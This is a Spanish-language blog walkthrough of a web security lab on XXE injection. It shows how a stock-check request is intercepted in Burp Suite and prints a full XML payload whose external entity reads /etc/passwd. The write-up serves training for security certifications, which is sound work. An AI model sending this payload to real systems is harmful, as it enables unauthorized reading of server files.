Entrada

XXE Injection Lab 1

XXE Injection Lab 1

Skills

  • Exploiting XXE using external entities to retrieve files

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio tiene una función llamada Check stock que analiza entradas XML y devuelve cualquier valor inesperado en la respuesta. Para resolver el laboratorio, hay que inyectar una entidad externa XML (XXE) para obtener el contenido del archivo /etc/passwd


Resolución

Al acceder a la web nos sale esto

Si pulsamos en View details veremos la descripción del artículo

Si pulsamos en Check stock y capturamos la petición con Burpsuite vemos que se está tramitando un XML

Vamos a insertar un DTD (Document Type Definition) y a usar el wrapper file para cargar el archivo /etc/passwd

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
	<stockCheck>
		<productId>
			&xxe;
		</productId>
		<storeId>
			1
		</storeId>
	</stockCheck>

Si enviamos la petición con este payload obtendremos el /etc/passwd

Esta entrada está licenciada bajo CC BY 4.0 por el autor.